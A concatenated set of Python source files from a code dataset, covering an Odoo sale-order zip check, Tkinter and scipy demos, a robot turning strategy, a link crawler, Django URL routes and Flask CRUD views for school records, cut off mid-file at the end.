test_config.NAME is None\n else str(test_config.NAME))\n ).joinpath('result.csv'),\n help='{}{}TIME{}/result.csv'.format(\n Path(test_config.RESULT_DIR).joinpath('RESULT_NAME'),\n '{', '}')\n )\n\n return parser\n","sub_path":"model/keras_applications/test_config.py","file_name":"test_config.py","file_ext":"py","file_size_in_byte":1573,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"21"} +{"seq_id":"138341504","text":"import os\nimport json\n\nfrom populus.utils.filesystem import (\n get_compiled_contracts_file_path,\n recursive_find_files,\n DEFAULT_CONTRACTS_DIR\n)\nfrom solc import (\n compile_files,\n)\nfrom solc.exceptions import (\n ContractsNotFound,\n)\n\n\ndef find_project_contracts(project_dir, contracts_rel_dir=DEFAULT_CONTRACTS_DIR):\n contracts_dir = os.path.join(project_dir, contracts_rel_dir)\n\n return tuple(\n os.path.relpath(p) for p in recursive_find_files(contracts_dir, \"*.sol\")\n )\n\n\ndef write_compiled_sources(project_dir, compiled_sources):\n compiled_contract_path = get_compiled_contracts_file_path(project_dir)\n\n with open(compiled_contract_path, 'w') as outfile:\n outfile.write(\n json.dumps(compiled_sources,\n sort_keys=True,\n indent=4,\n separators=(',', ': '))\n )\n return compiled_contract_path\n\n\ndef compile_project_contracts(project_dir, contracts_dir, **compiler_kwargs):\n compiler_kwargs.setdefault('output_values', ['bin', 'bin-runtime', 'abi'])\n contract_source_paths = find_project_contracts(project_dir, contracts_dir)\n try:\n compiled_sources = compile_files(contract_source_paths, **compiler_kwargs)\n except ContractsNotFound:\n return contract_source_paths, {}\n\n return contract_source_paths, compiled_sources\n\n\ndef compile_and_write_contracts(project_dir, contracts_dir, **compiler_kwargs):\n contract_source_paths, compiled_sources = compile_project_contracts(\n project_dir,\n contracts_dir,\n **compiler_kwargs\n )\n\n output_file_path = write_compiled_sources(project_dir, compiled_sources)\n return contract_source_paths, compiled_sources, output_file_path\n","sub_path":"populus/compilation.py","file_name":"compilation.py","file_ext":"py","file_size_in_byte":1754,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"21"} +{"seq_id":"315022112","text":"from sqlalchemy import (\n Column,\n Integer,\n String,\n Boolean,\n PrimaryKeyConstraint,\n)\nfrom .models import Base\n\n\nclass TrackRoute(Base):\n __tablename__ = \"track_routes\"\n\n # Actual URL slug for the track, includes collision_id\n slug = Column(String, nullable=False)\n # Just the title piece of the slug for the track, excludes collision_id\n # Used for finding max collision_id needed for duplicate title_slugs\n title_slug = Column(String, nullable=False)\n collision_id = Column(Integer, nullable=False)\n owner_id = Column(Integer, nullable=False)\n track_id = Column(Integer, nullable=False)\n is_current = Column(Boolean, nullable=False)\n blockhash = Column(String, nullable=False)\n blocknumber = Column(Integer, nullable=False)\n txhash = Column(String, nullable=False)\n\n PrimaryKeyConstraint(owner_id, slug)\n\n def __repr__(self):\n return f\"\"\n","sub_path":"discovery-provider/src/models/track_route.py","file_name":"track_route.py","file_ext":"py","file_size_in_byte":1177,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"21"} +{"seq_id":"93962458","text":"from phase_pattern import *\nfrom copy import deepcopy\n\nfirst = Phase()\n\n\ndef on_return(menu=None, user=None, message=None):\n key = message.content\n keys = [k['key'] for k in user.basket]\n if key in keys:\n i = keys.index(key)\n user.basket = user.basket[:i] + user.basket[i+1:] + user.basket[i]\n else:\n user.basket.append(deepcopy(menu.products[key]))\n # user.basket[-1]['amount']\n # user.basket[-1]['price']\n return user, 'NEXT', None\n\ndef on_call(menu=None, user=None, message=None):\n menu.database.to_log(user, message,'use_bonus')\n user_id = user.id\n total_price = [i['price'] for i in user.basket]*user.discount\n keys = products.keys()\n values = [products[key]['title'] for key in keys]\n\n callbacks = [key for key in keys]\n\n markup = first.get_buttons(values, callbacks, cols=2, bb=False, refb=True)\n MSG = 'Привет, я - чат-бот, ведущий прямой репортаж с морского дна!\\nС помощью меня можно заказать морепродукты на дом прямиком с Дальнего Востока!\\n(оформляя заказ через чат-бота, вы соглашаетесь на получение новостей о свежих поступлениях морепродуктов)\\n\\nСмотри что у нас есть:'\n menu.bot.send_message(user_id, MSG, reply_markup=markup)\n\n\ndef check_access(menu, user,message):\n if (message.type == 'callback') and (message.content in menu.products):\n return True\n else:\n return False\n\ndef on_undo(menu=None,user=None,message=None):\n user.basket = user.basket[:-1]\n return user\n\n\nsetattr(first, 'on_call', on_call)\nsetattr(first, 'check_access', check_access)\nsetattr(first, 'on_return',on_return)\nsetattr(first, 'on_undo', on_undo)\n# del on_call, on_return, check_access\n","sub_path":"branches/use_bonuses/steps/A.py","file_name":"A.py","file_ext":"py","file_size_in_byte":1907,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"21"} +{"seq_id":"556324827","text":"import re\nfrom urllib import request\nfrom bs4 import BeautifulSoup\n\n#classes\nclass crawler:\n\n\t#class globals\n\t#regex for detecing malformed url\n\turlRegex = re.compile(\n\t\tr'^(?:http|ftp)s?://' # http:// or https://\n r'(?:(?:[A-Z0-9](?:[A-Z0-9-]{0,61}[A-Z0-9])?\\.)+(?:[A-Z]{2,6}\\.?|[A-Z0-9-]{2,}\\.?)|' #domain...\n r'localhost|' #localhost...\n r'\\d{1,3}\\.\\d{1,3}\\.\\d{1,3}\\.\\d{1,3})' # ...or ip\n r'(?::\\d+)?' # optional port\n r'(?:/?|[/?]\\S+)$', re.IGNORECASE)\n\n\t#class functions\n\t#validate a url\n\tdef validUrl(self, url, error):\n\t\t\n\t\t#return if url is of valid form\n\t\tif re.search(self.urlRegex, url):\n\t\t\treturn True\n\t\t\n\t\t#return is url is invalid form and error flag is set\n\t\telif error:\n\t\t\tprint('invalid url form')\n\t\t\treturn False\n\t\t\n\t\t#return false in all other circumstances\n\t\telse:\n\t\t\treturn False\n\t\t\n\t#download page using url\n\tdef getPage(self, url):\t\t\n\t\t\n\t\ttry:\n\t\t\tpage = request.urlopen(url)\n\t\t\treturn page\n\t\t\t\n\t\texcept request.HTTPError:\n\t\t\tprint('error; could not open page', url)\t\t\n\t\t\treturn False\n\t\n\t#parse href links from page\n\tdef parseLinks(self, page):\n\t\tsoup = BeautifulSoup(page.read())\t\t\n\t\tlinksList = soup.find_all('a', href = True)\n\t\treturn linksList","sub_path":"lib/dwatCrawl.py","file_name":"dwatCrawl.py","file_ext":"py","file_size_in_byte":1204,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"21"} +{"seq_id":"93605878","text":"\"\"\"\n REST API Documentation for the NRS TFRS Credit Trading Application\n\n The Transportation Fuels Reporting System is being designed to streamline compliance reporting for transportation fuel suppliers in accordance with the Renewable & Low Carbon Fuel Requirements Regulation.\n\n OpenAPI spec version: v1\n \n\n Licensed under the Apache License, Version 2.0 (the \"License\");\n you may not use this file except in compliance with the License.\n You may obtain a copy of the License at\n\n http://www.apache.org/licenses/LICENSE-2.0\n\n Unless required by applicable law or agreed to in writing, software\n distributed under the License is distributed on an \"AS IS\" BASIS,\n WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n See the License for the specific language governing permissions and\n limitations under the License.\n\"\"\"\n\nfrom django.conf.urls import url\nfrom rest_framework.permissions import AllowAny\nfrom rest_framework.response import Response\nfrom rest_framework.schemas import SchemaGenerator\nfrom rest_framework.views import APIView\nfrom rest_framework.urlpatterns import format_suffix_patterns\nfrom rest_framework_swagger import renderers\n# generated views\nfrom . import views\n# custom views\nfrom . import views_custom\n\nclass SwaggerSchemaView(APIView):\n permission_classes = [AllowAny]\n renderer_classes = [\n renderers.OpenAPIRenderer,\n renderers.SwaggerUIRenderer\n ]\n _ignore_model_permissions = True\n exclude_from_schema = True \n def get(self, request):\n generator = SchemaGenerator()\n schema = generator.get_schema(request=request)\n return Response(schema)\n\nurlpatterns = [\n # Swagger documentation\n url(r'^$', SwaggerSchemaView.as_view()),\n url(r'^attachments/bulk$', views.attachmentsBulkPost.as_view()),\n url(r'^attachments$', views.attachmentsGet.as_view()),\n url(r'^attachments/(?P[0-9]+)/delete$', views.attachmentsIdDeletePost.as_view()),\n url(r'^attachments/(?P[0-9]+)/download$', views_custom.attachmentsIdDownloadGet.as_view()),\n url(r'^attachments/(?P[0-9]+)$', views.attachmentsIdGet.as_view()),\n url(r'^attachments/upload$', views_custom.attachmentsUploadPost.as_view()),\n url(r'^contacts/bulk$', views.contactsBulkPost.as_view()),\n url(r'^contacts$', views.contactsGet.as_view()),\n url(r'^contacts/(?P[0-9]+)/delete$', views.contactsIdDeletePost.as_view()),\n url(r'^contacts/(?P[0-9]+)$', views.contactsIdGet.as_view()),\n url(r'^credittrades/bulk$', views.credittradesBulkPost.as_view()),\n url(r'^credittrades$', views.credittradesGet.as_view()),\n url(r'^credittrades/(?P[0-9]+)/attachments$', views_custom.credittradesIdAttachmentsGet.as_view()),\n url(r'^credittrades/(?P[0-9]+)/delete$', views.credittradesIdDeletePost.as_view()),\n url(r'^credittrades/(?P[0-9]+)$', views.credittradesIdGet.as_view()),\n url(r'^credittrades/(?P[0-9]+)/history$', views_custom.credittradesIdHistoryGet.as_view()),\n url(r'^credittrades/(?P[0-9]+)/notes$', views_custom.credittradesIdNotesGet.as_view()),\n url(r'^credittrades/search$', views_custom.credittradesSearchGet.as_view()),\n url(r'^credittradetradelogentries/bulk$', views.credittradetradelogentriesBulkPost.as_view()),\n url(r'^credittradetradelogentries$', views.credittradetradelogentriesGet.as_view()),\n url(r'^credittradetradelogentries/(?P[0-9]+)/delete$', views.credittradetradelogentriesIdDeletePost.as_view()),\n url(r'^credittradetradelogentries/(?P[0-9]+)$', views.credittradetradelogentriesIdGet.as_view()),\n url(r'^users/current/favourites/(?P[0-9]+)/delete$', views_custom.usersCurrentFavouritesIdDeletePost.as_view()),\n url(r'^users/current/favourites$', views_custom.usersCurrentFavouritesPut.as_view()),\n url(r'^users/current/favourites/search$', views_custom.usersCurrentFavouritesSearchGet.as_view()),\n url(r'^users/current$', views_custom.usersCurrentGet.as_view()),\n url(r'^fuelsuppliers/bulk$', views.fuelsuppliersBulkPost.as_view()),\n url(r'^fuelsuppliers$', views.fuelsuppliersGet.as_view()),\n url(r'^fuelsuppliers/(?P[0-9]+)/attachments$', views_custom.fuelsuppliersIdAttachmentsGet.as_view()),\n url(r'^fuelsuppliers/(?P[0-9]+)/delete$', views.fuelsuppliersIdDeletePost.as_view()),\n url(r'^fuelsuppliers/(?P[0-9]+)$', views.fuelsuppliersIdGet.as_view()),\n url(r'^fuelsuppliers/(?P[0-9]+)/history$', views_custom.fuelsuppliersIdHistoryGet.as_view()),\n url(r'^fuelsuppliers/(?P[0-9]+)/notes$', views_custom.fuelsuppliersIdNotesGet.as_view()),\n url(r'^fuelsuppliers/search$', views_custom.fuelsuppliersSearchGet.as_view()),\n url(r'^groups/bulk$', views.groupsBulkPost.as_view()),\n url(r'^groups$', views.groupsGet.as_view()),\n url(r'^groups/(?P[0-9]+)/delete$', views.groupsIdDeletePost.as_view()),\n url(r'^groups/(?P[0-9]+)$', views.groupsIdGet.as_view()),\n url(r'^groups/(?P[0-9]+)/users$', views_custom.groupsIdUsersGet.as_view()),\n url(r'^groupmemberships/bulk$', views.groupmembershipsBulkPost.as_view()),\n url(r'^groupmemberships$', views.groupmembershipsGet.as_view()),\n url(r'^groupmemberships/(?P[0-9]+)/delete$', views.groupmembershipsIdDeletePost.as_view()),\n url(r'^groupmemberships/(?P[0-9]+)$', views.groupmembershipsIdGet.as_view()),\n url(r'^histories/bulk$', views.historiesBulkPost.as_view()),\n url(r'^histories$', views.historiesGet.as_view()),\n url(r'^histories/(?P[0-9]+)/delete$', views.historiesIdDeletePost.as_view()),\n url(r'^histories/(?P[0-9]+)$', views.historiesIdGet.as_view()),\n url(r'^lookuplists/bulk$', views.lookuplistsBulkPost.as_view()),\n url(r'^lookuplists$', views.lookuplistsGet.as_view()),\n url(r'^lookuplists/(?P[0-9]+)/delete$', views.lookuplistsIdDeletePost.as_view()),\n url(r'^lookuplists/(?P[0-9]+)$', views.lookuplistsIdGet.as_view()),\n url(r'^notes/bulk$', views.notesBulkPost.as_view()),\n url(r'^notes$', views.notesGet.as_view()),\n url(r'^notes/(?P[0-9]+)/delete$', views.notesIdDeletePost.as_view()),\n url(r'^notes/(?P[0-9]+)$', views.notesIdGet.as_view()),\n url(r'^notifications/bulk$', views.notificationsBulkPost.as_view()),\n url(r'^notifications$', views.notificationsGet.as_view()),\n url(r'^notifications/(?P[0-9]+)/delete$', views.notificationsIdDeletePost.as_view()),\n url(r'^notifications/(?P[0-9]+)$', views.notificationsIdGet.as_view()),\n url(r'^notificationevents/bulk$', views.notificationeventsBulkPost.as_view()),\n url(r'^notificationevents$', views.notificationeventsGet.as_view()),\n url(r'^notificationevents/(?P[0-9]+)/delete$', views.notificationeventsIdDeletePost.as_view()),\n url(r'^notificationevents/(?P[0-9]+)$', views.notificationeventsIdGet.as_view()),\n url(r'^offers/bulk$', views.offersBulkPost.as_view()),\n url(r'^offers$', views.offersGet.as_view()),\n url(r'^offers/(?P[0-9]+)/delete$', views.offersIdDeletePost.as_view()),\n url(r'^offers/(?P[0-9]+)$', views.offersIdGet.as_view()),\n url(r'^permissions/bulk$', views.permissionsBulkPost.as_view()),\n url(r'^permissions$', views.permissionsGet.as_view()),\n url(r'^permissions/(?P[0-9]+)/delete$', views.permissionsIdDeletePost.as_view()),\n url(r'^permissions/(?P[0-9]+)$', views.permissionsIdGet.as_view()),\n url(r'^roles/bulk$', views.rolesBulkPost.as_view()),\n url(r'^roles$', views.rolesGet.as_view()),\n url(r'^roles/(?P[0-9]+)/delete$', views.rolesIdDeletePost.as_view()),\n url(r'^roles/(?P[0-9]+)$', views.rolesIdGet.as_view()),\n url(r'^roles/(?P[0-9]+)/permissions$', views_custom.rolesIdPermissionsGet.as_view()),\n url(r'^roles/(?P[0-9]+)/users$', views_custom.rolesIdUsersGet.as_view()),\n url(r'^rolepermissions/bulk$', views.rolepermissionsBulkPost.as_view()),\n url(r'^rolepermissions$', views.rolepermissionsGet.as_view()),\n url(r'^rolepermissions/(?P[0-9]+)/delete$', views.rolepermissionsIdDeletePost.as_view()),\n url(r'^rolepermissions/(?P[0-9]+)$', views.rolepermissionsIdGet.as_view()),\n url(r'^users/bulk$', views.usersBulkPost.as_view()),\n url(r'^users$', views.usersGet.as_view()),\n url(r'^users/(?P[0-9]+)/delete$', views.usersIdDeletePost.as_view()),\n url(r'^users/(?P[0-9]+)/favourites$', views_custom.usersIdFavouritesGet.as_view()),\n url(r'^users/(?P[0-9]+)$', views.usersIdGet.as_view()),\n url(r'^users/(?P[0-9]+)/groups$', views_custom.usersIdGroupsGet.as_view()),\n url(r'^users/(?P[0-9]+)/notifications$', views_custom.usersIdNotificationsGet.as_view()),\n url(r'^users/(?P[0-9]+)/permissions$', views_custom.usersIdPermissionsGet.as_view()),\n url(r'^users/(?P[0-9]+)/roles$', views_custom.usersIdRolesGet.as_view()),\n url(r'^users/search$', views_custom.usersSearchGet.as_view()),\n url(r'^userroles/bulk$', views.userrolesBulkPost.as_view()),\n url(r'^userroles$', views.userrolesGet.as_view()),\n url(r'^userroles/(?P[0-9]+)/delete$', views.userrolesIdDeletePost.as_view()),\n url(r'^userroles/(?P[0-9]+)$', views.userrolesIdGet.as_view())\n]\n\nurlpatterns = format_suffix_patterns(urlpatterns)\n","sub_path":"server/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":9251,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"21"} diff --git a/4755.jsonl b/4755.jsonl new file mode 100644 index 0000000000000000000000000000000000000000..e69de29bb2d1d6434b8b29ae775ad8c2e48c5391 diff --git a/4756.jsonl b/4756.jsonl new file mode 100644 index 0000000000000000000000000000000000000000..68072a73f17bf6aed3f67f6bfa969c9f61111e6c --- /dev/null +++ b/4756.jsonl @@ -0,0 +1,687 @@ +{"seq_id":"300630594","text":"from openerp.osv import fields, osv\n\nclass sale(osv.Model):\n _name = 'sale.order'\n _inherit = ['sale.order']\n\n def check_order(self, cr, uid, ids, context=None):\n #def action_button_confirm(self, cr, uid, ids, context=None):\n \"\"\"\n Validates the zip code of the partner before confirming this order.\n :param cr: the db cursor\n :param uid: the user id\n :param ids: the ids of the sales order\n :param context: the openerp context\n :return: the same as the super method returns if validation succeeds. If not an exception is thrown and a\n message is displayed to the user.\n \"\"\"\n saleOrder = self.browse(cr, uid, ids[0], context=context)\n if saleOrder and saleOrder.partner_shipping_id:\n if context:\n context.update({'wf_sale': True})\n else:\n context = {'wf_sale': True}\n check = self.pool.get('res.partner').validate_zip(cr, uid, [saleOrder.partner_shipping_id.id], context=context)\n if not check:\n self.write(cr,uid, saleOrder.id,{'wf_confirm_failure': '6'})\n\n #return super(sale, self).action_button_confirm(cr, uid, ids, context=context)\n return super(sale, self).check_order(cr, uid, ids, context=None)\n\n","sub_path":"hf_zipcode_validation_AWN_HF_4/sale.py","file_name":"sale.py","file_ext":"py","file_size_in_byte":1308,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"74"} +{"seq_id":"367750056","text":"from tkinter import *\r\n\r\ndef drawCirc():\r\n sel = LB.curselection()\r\n print(sel)\r\n can.delete(\"all\")\r\n k=sel[0]\r\n radius=[10,25,50]\r\n off=radius[k]\r\n center=100\r\n can.create_oval(center-off, center-off, center+off, center+off, outline=\"red\", fill=\"blue\", width=2)\r\n\r\n\r\ndef onSelect(event):\r\n drawCirc()\r\n \r\ndef press():\r\n can.delete(\"all\")\r\n \r\n #center.bell()\r\n\r\n\r\ndef set_up():\r\n global left,right,top,center,can,LB,TB\r\n\r\n root.geometry(\"800x600\")\r\n root.configure(bg=\"yellow\")\r\n #root.resizable(width=FALSE, height=FALSE)\r\n \r\n top = Frame(root,width=800,height=60,bg=\"red\")\r\n #top.pack(side = TOP, fill=BOTH)\r\n top.pack(side = TOP)\r\n \r\n right = Frame(root,width=100,height=500,bg=\"blue\")\r\n right.pack(side = RIGHT, fill=BOTH)\r\n\r\n left = Frame(root,width=100,height=500,bg=\"green\")\r\n left.pack(side = LEFT, fill=BOTH)\r\n\r\n center = Frame(root,width=600,height=540,bg=\"yellow\")\r\n center.pack(side = TOP, fill=BOTH)\r\n\r\n can=Canvas(center,width=200,height=200,bg=\"pink\")\r\n can.pack(side=TOP)\r\n\r\n but = Button(left,text=\"clear\",width=10,command=press)\r\n but.pack(side=TOP,fill=X)\r\n\r\n LB = Listbox(right)\r\n LB.configure({\"height\":5,\"font\":(\"Verdana\",18),\"bg\":\"white\",\"fg\":\"red\",\"width\":7})\r\n LB.pack()\r\n\r\n command=[\"small\",\"medium\",\"large\"]\r\n for cmd in command:\r\n LB.insert(END, cmd)\r\n LB.select_set(0)\r\n LB.bind(\"<>\", onSelect)\r\n drawCirc()\r\n\r\nroot = Tk()\r\nset_up()\r\nmainloop()\r\n","sub_path":"C15_apr11/frame5.py","file_name":"frame5.py","file_ext":"py","file_size_in_byte":1518,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"74"} +{"seq_id":"72668788","text":"def isPrime(num):\n if num > 1:\n for i in range(2, int(num/2)+1):\n\n if (num % i) == 0:\n return False\n break\n else:\n return True\n\n else:\n return False\n\ndef findLong(a, n):\n\n ans = []\n m = 0\n t = 0\n for i in range(n):\n \n if i != n - 1 and a[i] < a[i + 1]:\n t += 1\n else:\n if m < t:\n m = t\n t = 0\n ans = a[i - m:i + 1]\n\n ans = [str(i) for i in ans]\n ans = ' '.join(ans)\n return ans\n\n\n\nt = int(input())\nl = list(map(int, input().split()))\np = []\n\nfor item in l:\n if isPrime(item):\n p.append(item)\n\nprint(findLong(p, len(p)))\n","sub_path":"Contests/Women Technologists Codesprint/GCTC_Coding_Contest/h.py","file_name":"h.py","file_ext":"py","file_size_in_byte":718,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"74"} +{"seq_id":"602629947","text":"from .stratTourne import StratTourne\n\nclass StratTourneplus(StratTourne):\n \"\"\"\n Cette Stratégie permet de ralentir progressivement le robot vers l'angle self.angle\n Afin de s'approcher le plus précisement possible de l'angle voulu sans le dépasser\n \"\"\"\n def __init__(self, robot, angle, vitesse):\n StratTourne.__init__(self,robot,angle,vitesse)\n self.ralenti = 0\n \n def step(self):\n angleg = (self.robot.get_motor_position()[0]*self.robot.WHEEL_CIRCUMFERENCE) /(self.robot.WHEEL_BASE_CIRCUMFERENCE)\n angled = (self.robot.get_motor_position()[1]*self.robot.WHEEL_CIRCUMFERENCE) /(self.robot.WHEEL_BASE_CIRCUMFERENCE)\n \n super().step()\n \n # On divise la vitesse de rotation des 2 roues si l'angle de rotation du robot\n # est au 4/5 de l'angle voulu\n if(self.ralenti == 0 and (angleg >= self.angle*(4/5) or angled <= -self.angle*(4/5))):\n self.robot.set_motor_dps(1, (self.vit/2))\n self.robot.set_motor_dps(2, -(self.vit/2))\n self.vit = (self.vit/2)\n self.ralenti = 1\n \n # On divise la vitesse de rotation des 2 roues si l'angle de rotation du robot\n # est au 5/6 de l'angle voulu\n if(self.ralenti == 1 and (angleg >= self.angle*(5/6) or angled <= -self.angle*(5/6))):\n self.robot.set_motor_dps(1, (self.vit/2))\n self.robot.set_motor_dps(2, -(self.vit/2))\n self.vit = (self.vit/2)\n self.ralenti = 2\n \n","sub_path":"strategie/stratTourneplus.py","file_name":"stratTourneplus.py","file_ext":"py","file_size_in_byte":1525,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"74"} +{"seq_id":"110634763","text":"from scipy.interpolate import interp1d \nimport numpy as np\nimport matplotlib.pyplot as plot\n\nx = np.linspace(0,10, num=11, endpoint = True)\ny = np.cos(-x**2/9.0)\n#linear interpolation\nf = interp1d(x,y)\n#cubic spline interpolation\nf2 = interp1d (x,y,kind = 'cubic')\nxnew = np.linspace(0,10,num=41,endpoint = True)\nplot.plot(x,y,'o',xnew,f(xnew),'-',xnew,f2(xnew),'--')\n\nplot.legend(['data','linear','cubic'],loc = 'best')\nplot.show() \n","sub_path":"scipy_examples/interpolate_2d.py","file_name":"interpolate_2d.py","file_ext":"py","file_size_in_byte":434,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"74"} +{"seq_id":"329920010","text":"from app import app, db\nfrom flask import render_template, redirect, url_for, flash, request\nfrom app.forms import SchoolFormCreate, SchoolFormUpdate, \\\n PromoFormCreate, PromoFormUpdate, BranchFormCreate, BranchFormUpdate, \\\n AnnualFormCreate, AnnualFormUpdate, \\\n SemesterFormCreate, SemesterFormUpdate, SemesterFormSpecialUpdate, \\\n WilayaFormCreate, WilayaFormUpdate, TeacherFormCreate, TeacherFormUpdate\nfrom app.models import School, Branch, Annual, Semester, Module, Unit, Wilaya, Promo, Teacher\nfrom flask_breadcrumbs import register_breadcrumb\n# import babel\nfrom datetime import datetime\nfrom sqlalchemy import or_\n\n# from app.prencipal import *\n\n\n\n#######################################\n##### INDEX #####\n\n@app.route('/basic-tables/')\n@register_breadcrumb(app, '.basic', 'Basic Tables')\ndef basic_index():\n return render_template('basic-forms/index.html', title='Basic Tables List')\n\n\n#######################################\n##### Promo #####\n\n@app.route('/promo/')\n@register_breadcrumb(app, '.basic.promo', 'Promos')\ndef promo_index():\n # i have to order by school & branch\n promos = Promo.query.order_by(Promo.branch_id, Promo.start_date).all()\n return render_template('basic-forms/promo/index.html', title='Promos List', promos=promos)\n\n@app.route('/promo/create/', methods=['GET', 'POST'])\n@register_breadcrumb(app, '.basic.promo.create', 'Create')\ndef promo_create():\n form = PromoFormCreate()\n \n if form.validate_on_submit():\n promo = Promo(\n name=form.name.data, \n display_name=form.display_name.data, \n branch_id=form.branch_id.data, \n # start_date=form.start_date.data, \n start_date=convert_dtstr_to_dt('start_date_str', extention='-01'), \n # finish_date=form.finish_date.data, \n finish_date=convert_dtstr_to_dt('finish_date_str', extention='-28'), \n color=form.color.data\n )\n db.session.add(promo)\n db.session.commit()\n flash('Created and Saved Successfully.', 'alert-success')\n return redirect(url_for('promo_view', id=promo.id))\n return render_template('basic-forms/promo/create.html', title='Promo Create', form=form)\n\n\n\ndef convert_dtstr_to_dt(dt_name, in_format='%Y-%m-%d', out_format='%Y-%m-%d', extention='-01'):\n dt = None\n if request.method == 'POST':\n dt_request = request.form.get(dt_name)\n if dt_request != None and dt_request != '':\n # \n # case : in_format\n dt_string = str(dt_request)+extention\n # \n # \n # \n # \n dt = datetime.strptime(dt_string, out_format)\n return dt\n\n\n\n@app.route('/promo/update//', methods=['GET', 'POST'])\n@register_breadcrumb(app, '.basic.promo.view.update', 'Update')\ndef promo_update(id):\n promo = Promo.query.get_or_404(id)\n form = PromoFormUpdate(promo.id)\n \n if form.validate_on_submit():\n promo.name = form.name.data\n promo.display_name = form.display_name.data\n # promo.branch_id = form.branch_id.data\n # promo.start_date = form.start_date.data\n promo.start_date = convert_dtstr_to_dt('start_date_str', extention='-01')\n # promo.finish_date = form.finish_date.data\n promo.finish_date = convert_dtstr_to_dt('finish_date_str', extention='-28')\n\n promo.color = form.color.data\n db.session.commit()\n flash('Your changes have been saved.', 'alert-success')\n return redirect(url_for('promo_view', id=promo.id))\n elif request.method == 'GET':\n form.name.data = promo.name\n form.display_name.data = promo.display_name\n form.start_date.data = promo.start_date\n # if promo.start_date != None and promo.start_date != '':\n # form.start_date.data = promo.start_date.strftime(\"%d/%m/%Y\")\n form.finish_date.data = promo.finish_date\n form.branch_id.data = promo.branch_id\n form.color.data = promo.color\n return render_template('basic-forms/promo/update.html', title='Promo Update', form=form)\n\n@app.route('/promo//', methods=['GET', 'POST'])\n@register_breadcrumb(app, '.basic.promo.view', 'View')\ndef promo_view(id):\n promo = Promo.query.get_or_404(id)\n return render_template('basic-forms/promo/view.html', title='Promo View', promo=promo)\n\n@app.route('/promo/delete//', methods=['GET', 'POST'])\ndef promo_delete(id):\n promo = Promo.query.get_or_404(id)\n # Note:\n # has sessions or annual sessions\n if len(promo.sessions) > 0:\n flash(\"you can't delete this Promo because it is in Relation with other Records\", 'alert-danger')\n flash(\"you have to break the relation with the Sessions first\")\n return redirect(url_for('promo_view', id=id))\n\n db.session.delete(promo)\n db.session.commit()\n flash('Promo: ' + str(promo.name) + ' is deleted', 'alert-success')\n return redirect(url_for('promo_index'))\n\n\n#######################################\n##### School #####\n\n@app.route('/school/')\n@register_breadcrumb(app, '.basic.school', 'Schools')\ndef school_index():\n schools = School.query.all()\n return render_template('basic-forms/school/index.html', title='Schools List', schools=schools)\n\n@app.route('/school/create/', methods=['GET', 'POST'])\n@register_breadcrumb(app, '.basic.school.create', 'Create')\ndef school_create():\n form = SchoolFormCreate()\n if form.validate_on_submit():\n school = School(\n name=form.name.data, \n description=form.description.data\n )\n db.session.add(school)\n db.session.commit()\n flash('Created and Saved Successfully.', 'alert-success')\n return redirect(url_for('school_view', id=school.id))\n return render_template('basic-forms/school/create.html', title='School Create', form=form)\n\n@app.route('/school/update//', methods=['GET', 'POST'])\n@register_breadcrumb(app, '.basic.school.view.update', 'Update')\ndef school_update(id):\n school = School.query.get_or_404(id)\n form = SchoolFormUpdate(school.id)\n if form.validate_on_submit():\n school.name = form.name.data\n school.description = form.description.data\n db.session.commit()\n flash('Your changes have been saved.', 'alert-success')\n return redirect(url_for('school_view', id=school.id))\n elif request.method == 'GET':\n form.name.data = school.name\n form.description.data = school.description\n return render_template('basic-forms/school/update.html', title='School Update', form=form)\n\n@app.route('/school//', methods=['GET', 'POST'])\n@register_breadcrumb(app, '.basic.school.view', 'View')\ndef school_view(id):\n school = School.query.get_or_404(id)\n return render_template('basic-forms/school/view.html', title='School View', school=school)\n\n@app.route('/school/delete//', methods=['GET', 'POST'])\ndef school_delete(id):\n school = School.query.get_or_404(id)\n if len(school.branches) > 0:\n flash(\"you can't delete this School because it is in Relation with other Records\", 'alert-danger')\n flash(\"you have to break the relation with the Branches first\")\n return redirect(url_for('school_view', id=id))\n db.session.delete(school)\n db.session.commit()\n flash('School: ' + str(school.name) + ' is deleted', 'alert-success')\n return redirect(url_for('school_index'))\n\n\n#######################################\n##### Branch #####\n\n@app.route('/branch/')\n@register_breadcrumb(app, '.basic.branch', 'Branches')\ndef branch_index():\n # i have to order by school & branch\n branches = Branch.query.order_by(Branch.school_id).all()\n return render_template('basic-forms/branch/index.html', title='Branches List', branches=branches)\n\n@app.route('/branch/create/', methods=['GET', 'POST'])\n@register_breadcrumb(app, '.basic.branch.create', 'Create')\ndef branch_create():\n form = BranchFormCreate()\n if form.validate_on_submit():\n branch = Branch(\n name=form.name.data, \n description=form.description.data, \n school_id=form.school_id.data\n )\n db.session.add(branch)\n db.session.commit()\n flash('Created and Saved Successfully.', 'alert-success')\n return redirect(url_for('branch_view', id=branch.id))\n return render_template('basic-forms/branch/create.html', title='Branch Create', form=form)\n\n@app.route('/branch/update//', methods=['GET', 'POST'])\n@register_breadcrumb(app, '.basic.branch.view.update', 'Update')\ndef branch_update(id):\n branch = Branch.query.get_or_404(id)\n form = BranchFormUpdate(branch.id)\n if form.validate_on_submit():\n branch.name = form.name.data\n branch.description = form.description.data\n branch.school_id = form.school_id.data\n db.session.commit()\n flash('Your changes have been saved.', 'alert-success')\n return redirect(url_for('branch_view', id=branch.id))\n elif request.method == 'GET':\n form.name.data = branch.name\n form.description.data = branch.description\n form.school_id.data = branch.school_id\n return render_template('basic-forms/branch/update.html', title='Branch Update', form=form)\n\n@app.route('/branch//', methods=['GET', 'POST'])\n@register_breadcrumb(app, '.basic.branch.view', 'View')\ndef branch_view(id):\n branch = Branch.query.get_or_404(id)\n return render_template('basic-forms/branch/view.html', title='Branch View', branch=branch)\n\n@app.route('/branch/delete//', methods=['GET', 